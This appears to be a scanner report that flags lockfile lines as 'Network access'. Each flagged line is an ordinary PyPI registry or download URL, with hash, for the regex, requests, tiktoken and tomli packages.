    { url = "https://files.pythonhosted.org/packages/aa/ae/11b9c9411d92c30e3d2db32df5a31133e4a99a8fc397a604fd08f6c4bffb/regex-2026.7.19-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d15df07
  • Network accessline 414
    { url = "https://files.pythonhosted.org/packages/b1/62/2b2efc4992f91d6d204b24c647c9f9412e85379d92b7c0ab9fdae622327e/regex-2026.7.19-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:56ad4d9f77df8
  • Network accessline 415
    { url = "https://files.pythonhosted.org/packages/14/71/986ceea9aa3da548bf1357cad89b63915ec6d21ec957c8113b29ece567df/regex-2026.7.19-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7322ec6cc9
  • Network accessline 416
    { url = "https://files.pythonhosted.org/packages/15/be/ce9d9534b2cda96eab32c548261224b9b4e220a4126f098f60f42ae7b4cd/regex-2026.7.19-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9c7472192ebfad53a6be7c4a8bfb2
  • Network accessline 417
    { url = "https://files.pythonhosted.org/packages/61/2b/58b5c710f2c3929515a25f3a1ca0dad0dcd4518d4fff3cf23bc7adb8dcd2/regex-2026.7.19-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c10b82c2634df08dfb13b1f04e38fe310d086ee092f4f69c0c8da
  • Network accessline 418
    { url = "https://files.pythonhosted.org/packages/84/03/5fe091935b74f15fe0f97998c215cae418d1c0413f6258c7d4d2e83aa37f/regex-2026.7.19-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:17ed5692f6acc4183e98331101a5f9e4f64d72fe58b753da4d444
  • Network accessline 419
    { url = "https://files.pythonhosted.org/packages/d8/fa/d60bf82e10841eef62a9e32aac401468f05fddfbcb2942e342b1ba3d2433/regex-2026.7.19-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:22a992de9a0d91bda927bf02b94351d737a0302905432c88a53de
  • Network accessline 420
    { url = "https://files.pythonhosted.org/packages/bf/5d/11e64d151b0662b81d6bf644c74dc118d461df85bdf2577fadbbf751788a/regex-2026.7.19-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:618a0aed532be87294c4477b0481f3aa0f1520f4014a4374dd4cf78
  • Network accessline 421
    { url = "https://files.pythonhosted.org/packages/7c/34/532efb87488d90807bae6a443d357ee5e2728a478c597619c8aaa17cc0bd/regex-2026.7.19-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2ce9e679f776649746729b6c86382da519ef649c8e34cc41df0d2e
  • Network accessline 422
    { url = "https://files.pythonhosted.org/packages/d6/90/3a8d5ca977171ec3ae21a71207d2228b2663bde14d7f7ef0e6363ecf9290/regex-2026.7.19-cp314-cp314-win32.whl", hash = "sha256:73f272fba87b8ccfe70a137d02a54af386f6d27aa509fbffdd978f5947aae1aa", si
  • Network accessline 423
    { url = "https://files.pythonhosted.org/packages/96/e1/8862885e70409de70e8c005f57fb2e7be8d9ef0317250d60f4c9660a300d/regex-2026.7.19-cp314-cp314-win_amd64.whl", hash = "sha256:d721e53758b2cca74990185eb0671dd466d7a388a1a45d0c6f4c13cef41a68ac"
  • Network accessline 424
    { url = "https://files.pythonhosted.org/packages/08/82/2693e53e29f9104d9de95d37ce4dd826bd32d5f9c0085d3aa6ac042675c4/regex-2026.7.19-cp314-cp314-win_arm64.whl", hash = "sha256:65fa6cb38ed5e9c3637e68e544f598b39c3b86b808ed0627a67b68320384b459"
  • Network accessline 425
    { url = "https://files.pythonhosted.org/packages/92/b7/9a01aa16461a18cde9d7b9c3ab21e501db2ce33725f53014342b91df2b0a/regex-2026.7.19-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:5a2721c8720e2cb3c209925dfb9200199b4b07361c9e01d321
  • Network accessline 426
    { url = "https://files.pythonhosted.org/packages/f3/5e/bbaeca815dc9191c424c94a4fdc5c87c75748a64a6271821212ebdd4e1a3/regex-2026.7.19-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:199535629f25caf89698039af3d1ad5fcae7f933e2112c73f1cdf4
  • Network accessline 427
    { url = "https://files.pythonhosted.org/packages/cd/d6/0dd1a321afaab95eb7ff44aa0f637301786f1dc71c6b797b9ed236ed8890/regex-2026.7.19-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9b60d7814174f059e5de4ab98271cc5ba9259cfea55273a81544dcee
  • Network accessline 428
    { url = "https://files.pythonhosted.org/packages/92/5f/40bacf91d0904f812e13bbbab3864604c463eced8afdc54aeaa50492ea95/regex-2026.7.19-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dbece1
  • Network accessline 429
    { url = "https://files.pythonhosted.org/packages/94/7c/4902744261f775aeede8b5627314b38482da29cf49a57b66a6fb753246c5/regex-2026.7.19-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d24ecb
  • Network accessline 430
    { url = "https://files.pythonhosted.org/packages/16/70/6980c9be6bf21c0a60ed3e0aea39cf419ecf3b08d1d9947bc56e196ef186/regex-2026.7.19-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8cae6fd77a5b
  • Network accessline 431
    { url = "https://files.pythonhosted.org/packages/52/92/8b2bd872782ce8c42691e39acb38eb8efe014e5ddb78ad7d943d6f197ce9/regex-2026.7.19-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9724e6cb5
  • Network accessline 432
    { url = "https://files.pythonhosted.org/packages/de/2d/33a602f657bdc4041f17d79f92ab18261d255d91a06117a6e29df023e5e2/regex-2026.7.19-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:572fc57b0009c735ee56c175ea02
  • Network accessline 433
    { url = "https://files.pythonhosted.org/packages/9e/36/0987cf4cb271680064a70d24a475873775a151d0b7058698a006cb0cae4a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:20568e182eb82d39a6bf7cff3fd58566f14c75c6f74b2c8c9653
  • Network accessline 434
    { url = "https://files.pythonhosted.org/packages/a8/24/c14f31c135e1ba55fa4f9a58ca98d0842512bf6188230763c31c8f449e3b/regex-2026.7.19-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1d58561843f0ff7dc78b4c28b5e2dc388f3eff94ebc8a232a3ad
  • Network accessline 435
    { url = "https://files.pythonhosted.org/packages/14/85/181a12211f22469f24d2de1ebddfe397d2396e2c29013b9a58134a91069a/regex-2026.7.19-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:61bb1bd45520aacd56dd80943bd34991fb5350afdd1f36f22822
  • Network accessline 436
    { url = "https://files.pythonhosted.org/packages/23/58/bd1a0c1a62251366f8d21f41b1ea3c76994962071b8b6ea42f72d505c0f0/regex-2026.7.19-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:cd3584591ea4429026cdb931b054342c2bcf189b44ff367f8d5c15
  • Network accessline 437
    { url = "https://files.pythonhosted.org/packages/e4/4f/f7e2dad6756b2fe1fe75dd90a628c3b45f249d39f948dd90cd2476325417/regex-2026.7.19-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5cc26a66e212fa5d6c6170c3a40d99d888db3020c6fdab1523250
  • Network accessline 438
    { url = "https://files.pythonhosted.org/packages/2b/d7/01d31d5bdb09bc026fab77f59a371fdf8f9b292e4810546c56182ca70498/regex-2026.7.19-cp314-cp314t-win32.whl", hash = "sha256:2c4e61e2e1be56f63ec3cc618aa9e0de81ef6f43d177205451840022e24f5b78", s
  • Network accessline 439
    { url = "https://files.pythonhosted.org/packages/52/0e/cea4ce73bc0a8247a0748228ae6669984c7e1f8134b6fa66e59c0572e0ea/regex-2026.7.19-cp314-cp314t-win_amd64.whl", hash = "sha256:c639ea314df70a7b2811e8020448c75af8c9445f5a60f8a4ced81c306a9380c2
  • Network accessline 440
    { url = "https://files.pythonhosted.org/packages/6f/b6/26e41975febae63b7a6e3e02f32cff6cff2e4f10d19c929082f56aebf7c6/regex-2026.7.19-cp314-cp314t-win_arm64.whl", hash = "sha256:9a15e785f244f3e07847b984ce8773fc3da10a9f3c131cc49a4c5b4d672b4547
  • Network accessline 444
    name = "requests" version = "2.34.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 445
    version = "2.34.2" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 446
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 451
    { name = "urllib3" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104
  • Network accessline 452
    ] sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 
  • Network accessline 453
    sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 14
  • Network accessline 454
    wheels = [     { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e
  • Network accessline 455
    { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 
  • Network accessline 459
    name = "tiktoken" version = "0.14.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 460
    version = "0.14.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 461
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 464
    { name = "requests" }, ] sdist = { url = "https://files.pythonhosted.org/packages/66/62/167a842aa0429d45f5e797354fd4343a96f6043d67d0513c675c7b8d36e6/tiktoken-0.14.0.tar.gz", hash = "sha256:231dec90efcdccf1b565a1416107736f1e09b1a08fe736ef9d6
  • Network accessline 465
    ] sdist = { url = "https://files.pythonhosted.org/packages/66/62/167a842aa0429d45f5e797354fd4343a96f6043d67d0513c675c7b8d36e6/tiktoken-0.14.0.tar.gz", hash = "sha256:231dec90efcdccf1b565a1416107736f1e09b1a08fe736ef9d6363e626d03874", size = 
  • Network accessline 466
    sdist = { url = "https://files.pythonhosted.org/packages/66/62/167a842aa0429d45f5e797354fd4343a96f6043d67d0513c675c7b8d36e6/tiktoken-0.14.0.tar.gz", hash = "sha256:231dec90efcdccf1b565a1416107736f1e09b1a08fe736ef9d6363e626d03874", size = 38
  • Network accessline 467
    wheels = [     { url = "https://files.pythonhosted.org/packages/5e/82/d60a7a5d7bff7b4641d556ea68ea5914ea6edc3774a12eb1c0d444701382/tiktoken-0.14.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:3b12e54f8bec91433e41aff65d8d1f209a4f6780
  • Network accessline 468
    { url = "https://files.pythonhosted.org/packages/5e/82/d60a7a5d7bff7b4641d556ea68ea5914ea6edc3774a12eb1c0d444701382/tiktoken-0.14.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:3b12e54f8bec91433e41aff65d8d1f209a4f678081163747079806e
  • Network accessline 469
    { url = "https://files.pythonhosted.org/packages/18/e2/d39ae33d3dc30a0c229ff0cb683df961ebb5e7b8691feb2d08b3ee6ac327/tiktoken-0.14.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:94f77b60a8ab23580db19ae822744c9716c1720020d2179ca5605112d
  • Network accessline 470
    { url = "https://files.pythonhosted.org/packages/3d/e9/8e18cbee0c3ae8321c7e9696bef6090a24eed99a4a75a4c4a7f5115e5a2f/tiktoken-0.14.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:f3d6cf93fbe2e7117eb7bedca684216fbe328a41f0843ce34245
  • Network accessline 471
    { url = "https://files.pythonhosted.org/packages/af/c8/051e7b72a816ff50eb34a1c7c5b185cd2429ffdf59a497baea35b2b6b2dd/tiktoken-0.14.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:18a1b651c4b032004bf7b4f1713391a54b2a341a52c6e8a2b59ac
  • Network accessline 472
    { url = "https://files.pythonhosted.org/packages/c3/b3/7795db206adb6a57d6137fe48ef2cca6b9707e90b86ee8244671592ddc33/tiktoken-0.14.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:4d8d91d68353bd167fdf26467e5ff9e56aaa5f87d6410c0238608
  • Network accessline 473
    { url = "https://files.pythonhosted.org/packages/c8/39/5234783af6b81af645ccdf9438f2f02af472f14e91d876ca2079af641841/tiktoken-0.14.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:10f31e63e40313f2e518d87f7086cfa44e45f64cc14d8ae14103b4
  • Network accessline 474
    { url = "https://files.pythonhosted.org/packages/88/cf/f2d955c8c5c6c67cc86ba6fb132c47c710465ebe6a6dcec1c3b6e250660e/tiktoken-0.14.0-cp310-cp310-win_amd64.whl", hash = "sha256:c6cb9896a82b9ee44e15ba0b5c8044072f2e4d48acaa704c8d3feeef5ad9487c"
  • Network accessline 475
    { url = "https://files.pythonhosted.org/packages/8f/c5/9d848b7f408241171e1f843deb8bfa626086452bc9c78beee500829583e3/tiktoken-0.14.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:c2edf09b381fafbc014ae8e018ed25087abb9a3dafa8465a0ea63c6
  • Network accessline 476
    { url = "https://files.pythonhosted.org/packages/2d/a9/d94302340304328961d6f0c35ca4e60617fbb57a5cf667e2ed1692cb9e57/tiktoken-0.14.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cd8ca1305c1c902fe42c486165f2e4808d9997625c98ffb05b9e0366d
  • Network accessline 477
    { url = "https://files.pythonhosted.org/packages/c8/b6/31da98ee871383509cae2ba96a9ddef1965e3c4f8cb6dc7bcda3379398db/tiktoken-0.14.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:1f83081065ee5833d35b49e9180f3d8d15622a603dd1c435da0d
  • Network accessline 478
    { url = "https://files.pythonhosted.org/packages/24/65/8c5dddd7cb67f6571d154a58d7c6e2f07da54bf84c49b6a1839965b7c35e/tiktoken-0.14.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:f5e7665f6624e052e5e7f6a36919ab69279decdc976d7b16b4fa1
  • Network accessline 479
    { url = "https://files.pythonhosted.org/packages/d1/04/522ec59d30dd9a2f3ab837011cd4fc5d1178dc4a2fa07c9fa4b90af6ba9d/tiktoken-0.14.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:144a3fc369f92b7d548995217c5d6e84038d3572157a0f6f34080
  • Network accessline 480
    { url = "https://files.pythonhosted.org/packages/69/84/9019e272bad188a1c61ecf44f25a9ba2368744644e3ac1f3d6516f3c9e80/tiktoken-0.14.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:151d37a150c8f3dfc5f4345597b10e101876bd1bd13494e0185af6
  • Network accessline 481
    { url = "https://files.pythonhosted.org/packages/24/7f/fff1217240343c0c11b5938b98aeae0e3a266cacfac25f86f91cdcd748f0/tiktoken-0.14.0-cp311-cp311-win_amd64.whl", hash = "sha256:c77d4a3e1deb2707819df92046b89aad1ac81d27e07616b797cbff3f62c037da"
  • Network accessline 482
    { url = "https://files.pythonhosted.org/packages/8c/da/e273746b9d24a63c776bc60fba914351573ad9c575b52601eb5e60632564/tiktoken-0.14.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8e947aefe98ef74cce94923f90e48c98fe34eb1ec0a6bfdfadfc5a9
  • Network accessline 483
    { url = "https://files.pythonhosted.org/packages/69/9f/fe6b1aca23331aa5271df5a4bd07bf68a7059254d47faee1b8272592a777/tiktoken-0.14.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d6cebe67765569df3dafac8474e4eccf5c19d24140492567a5e58a114
  • Network accessline 484
    { url = "https://files.pythonhosted.org/packages/0b/35/e9f47647c9e163bd1de30fe1a491669b7248cfc67b7404c35c009a701e1a/tiktoken-0.14.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:7db45b98e94adf4173a5cd7422b150999a7ee11ff847783a14f6
  • Network accessline 485
    { url = "https://files.pythonhosted.org/packages/51/11/9976ad86980a00cdef05e730a0127a2578a1bc6d11644d8d47246de2eb26/tiktoken-0.14.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:7896eea257fe497a2b7134474d909156c6744ce8da35bce88011a
  • Network accessline 486
    { url = "https://files.pythonhosted.org/packages/d4/9c/7035b0bcfaa68d1ee4803fc5be5214ad865669b05bd20e7105ae8a18afc6/tiktoken-0.14.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b950248272f1b303dc32986396e2dccfa10cf6d1e83ec8f0bba17
  • Network accessline 487
    { url = "https://files.pythonhosted.org/packages/bc/1d/69cabf18bed7f4366da076735816abce0d4db3fae491ae338a6612128777/tiktoken-0.14.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3de75343041a1c57333b1e707ac8a9769738241d7d6a55d39e12cf
  • Network accessline 488
    { url = "https://files.pythonhosted.org/packages/bd/bd/a2e884fb1402cba5be08836590320012b2d8ada0e2eef9911a64df4bcd2d/tiktoken-0.14.0-cp312-cp312-win_amd64.whl", hash = "sha256:087538c080e5ff421abd3a0785ed63c5111d06af98e6cd0d374dbe5969147ca3"
  • Network accessline 489
    { url = "https://files.pythonhosted.org/packages/50/53/ee1453623bf65f019328721ccb6587846d2c5b7b82f34e73ca09101f072e/tiktoken-0.14.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e9c5fe393aab56469f04e432ff851216d3def3436cf5f07e442a240
  • Network accessline 490
    { url = "https://files.pythonhosted.org/packages/ad/5f/6448cfe278c3664ba9ec5b5ac08344341f7dc3d42888476e215a14eda2be/tiktoken-0.14.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cbe2cc3bba939bcdaf103e03df9d5039d33887080b315624be28ec690
  • Network accessline 491
    { url = "https://files.pythonhosted.org/packages/69/3b/d67eac1bcce9dee3abe23aff5e3ded3116bbebaf67b80a0811c06d3806fc/tiktoken-0.14.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:2157f52e4b4d7ac5ecc7457b3716834706e7ef9a46f5144029bf
  • Network accessline 492
    { url = "https://files.pythonhosted.org/packages/37/62/cae690d9783146b0f81f564ada0f8f611de68178c0c9c7e1e969f0516b48/tiktoken-0.14.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:26e60f6a956ee171ab728b37b8439905d7ea1db435c30f9822f29
  • Network accessline 493
    { url = "https://files.pythonhosted.org/packages/b9/1e/633e30237b94e383cf814145499079f3bb9cdd4aeafc1bc42e01b0f810a6/tiktoken-0.14.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:380873f330b741c4435574f37edb20813d04603ace2d53e0a6356
  • Network accessline 494
    { url = "https://files.pythonhosted.org/packages/cb/56/4c12f07b812f84206f38d723eb1ebfdd34bad9309b5dbc0bee6bbcff4cbf/tiktoken-0.14.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:3fd7c14b1cb45b486c39fc9b3443bb341f3e2fc7e6f31247f3435a
  • Network accessline 495
    { url = "https://files.pythonhosted.org/packages/c9/e0/c65603f0c44811def666d3fbf611bf2af3b5e1ef613e06c19411419830b3/tiktoken-0.14.0-cp313-cp313-win_amd64.whl", hash = "sha256:90a762670c7f968184723769a06ed51f5cf5ce5dcd1e30164f25c72d85c2d1f1"
  • Network accessline 496
    { url = "https://files.pythonhosted.org/packages/59/b0/1cf129f4af8fc513931f931023def596b7c4bfc77026513cd9d851da9e88/tiktoken-0.14.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:e067f4cbcc5d036e8aff7fe7a6b530a8f4de2e4616ad9005a24a187
  • Network accessline 497
    { url = "https://files.pythonhosted.org/packages/62/85/2ae74575e321148484147e10b53c3b1717c59ebaa9edb4fe18b1f5c055f8/tiktoken-0.14.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:f2af4a336ea56d6c14f27741a0e1d8294a35dd0b038bcf990d232ebb5
  • Network accessline 498
    { url = "https://files.pythonhosted.org/packages/89/29/92a1120a12e4bcf2d5464350d1a91b68a433d63ce656bb7f806c27aec09c/tiktoken-0.14.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:f702e0aeeb6506e57687e881c59e844ebe8f0a6a097ddafe20e3
  • Network accessline 499
    { url = "https://files.pythonhosted.org/packages/5b/7d/144af98dc5ad68108451a82e2f5a17f80e2663f5115058b8dfd215c1ad02/tiktoken-0.14.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:e3442bbb2f0c588cec876061e37ae67b455b9df9978b003c8fe30
  • Network accessline 500
    { url = "https://files.pythonhosted.org/packages/e6/1f/be7cb06ab2108f612f3e92e7b76cf391e192db0db37a984616f0cc32aafc/tiktoken-0.14.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:979c1524f753b662b0f3cd261b135afe6659cce33caaa7a5ea00d
  • Network accessline 501
    { url = "https://files.pythonhosted.org/packages/ab/6b/81f158d0f90adb826cd704069c2129a046cb784a2a09861009519fc41cf4/tiktoken-0.14.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2cc19ac87b41c9493c9778ff5847f0c8bbcf5bd0ec6b87ce06c1c8
  • Network accessline 502
    { url = "https://files.pythonhosted.org/packages/fc/ec/f5fa35ec13f07279fdcaf3cc9c04bbb154ea591d23978651f2b672593e8a/tiktoken-0.14.0-cp314-cp314-win_amd64.whl", hash = "sha256:eceeff0c62419bc78d4b6e70a4762a4d25df3ae8f2d5946e3853ce93e7a57098"
  • Network accessline 503
    { url = "https://files.pythonhosted.org/packages/68/c9/7756717408d3d0dfea3f046c9466144b28afde39ff69d5808f2475dcd7f5/tiktoken-0.14.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:6eb94895c45f26bb8f5546e5fd8a069efcf6e3f108ea9d5cbe3bf6
  • Network accessline 504
    { url = "https://files.pythonhosted.org/packages/79/29/46ad8061f57bd9f8b2ea0aa82bf574e0f2aa040b0857a1582adba9957899/tiktoken-0.14.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:86951a971c53979ec857bd8c4a32dc227ab0fd33f6c12a3bd62d3fbf
  • Network accessline 505
    { url = "https://files.pythonhosted.org/packages/5a/7c/3184d17b868456f17b60b1a75f5ec0405618a43aa753336df341d8f11781/tiktoken-0.14.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e2eca764c53490f8930dbce329e0769f11108d87d908282a80c
  • Network accessline 506
    { url = "https://files.pythonhosted.org/packages/0b/e8/46de4400d5bf859f640feee85bd7e32235f68ddf25db53c63be78e581e3a/tiktoken-0.14.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:26cc4b4840fa0e9f4b72ed489883e12f57e00d1021ca794720e3
  • Network accessline 507
    { url = "https://files.pythonhosted.org/packages/29/ce/af8964c38bc8226dd8950305b7a255fa33345d5572f78af7275a313d28e0/tiktoken-0.14.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:2fc834fbe3f6a0736905c36ab709537e6840dbd63b982dc9e021
  • Network accessline 508
    { url = "https://files.pythonhosted.org/packages/1d/4b/323631116fc986d9cc5bbeb2b8223c7c85e61a8bb94ea5ab4951023b149b/tiktoken-0.14.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ca4db6ff5c5bf600f9b7761a0070ed44dfe5797a76bd432fb978b
  • Network accessline 509
    { url = "https://files.pythonhosted.org/packages/18/8b/ba48a73729c9270989b36f37ab2ed5525e52690d715097c9fa791aaa5d05/tiktoken-0.14.0-cp314-cp314t-win_amd64.whl", hash = "sha256:7aab286a020660a039097912a088236b985d18a3090d73f136c4413d29d37ca0
  • Network accessline 510
    { url = "https://files.pythonhosted.org/packages/1d/10/b73b7e319179e0f60b32475f783b044f9cece872c53b6662664e9084b0d0/tiktoken-0.14.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:14b47e3674f2624803a8acc8fb367b7e24fc53055f9df3296482fe9
  • Network accessline 511
    { url = "https://files.pythonhosted.org/packages/c2/6b/09999a9bf1d559670d1680e8f8e419ac0e2c5f6aac82e9bfdf70f260b30a/tiktoken-0.14.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:19d643d701fdaa70e5b9c7f8f96abcaffe77ca5e482a3a1a7dde46feb
  • Network accessline 512
    { url = "https://files.pythonhosted.org/packages/cd/7b/8537be0836f3df99b2a636b44399bfa43cd757f2b8b4097dacb794cf24a7/tiktoken-0.14.0-cp315-cp315-manylinux_2_28_aarch64.whl", hash = "sha256:e4ddf863b59347deaa92302dcd90e5eb003cdc9be06ec2b692c3
  • Network accessline 513
    { url = "https://files.pythonhosted.org/packages/7c/9d/f9c56d7a943a4468abf9ef37661bb9b8e0cd3aa8aa87368c7146cc3f3222/tiktoken-0.14.0-cp315-cp315-manylinux_2_28_x86_64.whl", hash = "sha256:60c47ca69ddda0dea8256fffd12e1b86f4b59734a20e4a70c61f6
  • Network accessline 514
    { url = "https://files.pythonhosted.org/packages/4b/d2/98a38579db25c4a8a84e31dd95d9072ec5f21f7e70de591da0412e29b25b/tiktoken-0.14.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:728303a072163130c5b477b1f20d6211895569c1d5302c24ffc93
  • Network accessline 515
    { url = "https://files.pythonhosted.org/packages/0c/83/467be424746c039c5493c0f4102feab16b9b48eb6f5c089b2a2438e3cde2/tiktoken-0.14.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:3c5349c9f916283bba32bec8af69b763e4faa304dc004d0eaaea66
  • Network accessline 516
    { url = "https://files.pythonhosted.org/packages/02/ee/ddf46ca78e371f5890e96b6e7d089a85b3536432be219851eb0481786ca8/tiktoken-0.14.0-cp315-cp315-win_amd64.whl", hash = "sha256:1b6e4adcfd285c44502aed51df98aaaca4f0fea028165dbf8a9e857b9f98d8ea"
  • Network accessline 517
    { url = "https://files.pythonhosted.org/packages/2a/00/5162e90c851a28da18ed382d34898b79a8022548e5619a64e14c03ce7c3d/tiktoken-0.14.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:11d8211b290855d2721334ff17dd9b3a17bfb26872be01f25d7361
  • Network accessline 518
    { url = "https://files.pythonhosted.org/packages/65/97/a5a7bfccf25b1bb65e82bae8edff11ac3c9c041c374b7b4a823d60c38133/tiktoken-0.14.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:d0781223705199b289faa59601bb9c2441712d4c600dd13c43d8fd6a
  • Network accessline 519
    { url = "https://files.pythonhosted.org/packages/fb/ba/ef427fc638f1439181c5e12dd26b70e881861f89c007aa7e5b36300f8342/tiktoken-0.14.0-cp315-cp315t-manylinux_2_28_aarch64.whl", hash = "sha256:2ea70afba6b9eddbf22c165142e5f0a2ad7aa36a452873c48b5
  • Network accessline 520
    { url = "https://files.pythonhosted.org/packages/3e/88/2f3f85a968cdc514152129af0a060ebcccb067005a2f29b0d5ef3c838514/tiktoken-0.14.0-cp315-cp315t-manylinux_2_28_x86_64.whl", hash = "sha256:78571efc311c30b73f31eb949a921d6dac39a5d9dc42d1cfa8f8
  • Network accessline 521
    { url = "https://files.pythonhosted.org/packages/4e/f6/80760e98a08e6649d2d68afb6035af713121dfb615acce8c4f73810ec438/tiktoken-0.14.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:86f66c85e796f5d05d5c4a60ec1d40cbfebc47a32464053528c7
  • Network accessline 522
    { url = "https://files.pythonhosted.org/packages/c5/84/50966fb6918a0fb9b32721277e5342bf729a2d74350074d662fbedf9772e/tiktoken-0.14.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:149d97453c4c98c04b081d64a85e635921269b532710d6faf81e9
  • Network accessline 523
    { url = "https://files.pythonhosted.org/packages/35/5e/9b01afd037bfa22a0033963fa091e0f75b6fb15cd85bffb42ff86e697323/tiktoken-0.14.0-cp315-cp315t-win_amd64.whl", hash = "sha256:561e7580f84a79859af1ef6f676968e9030fcc3fe195700b15235bca64f009c9
  • Network accessline 527
    name = "tomli" version = "2.4.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 528
    version = "2.4.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0
  • Network accessline 529
    source = { registry = "https://pypi.org/simple/" }
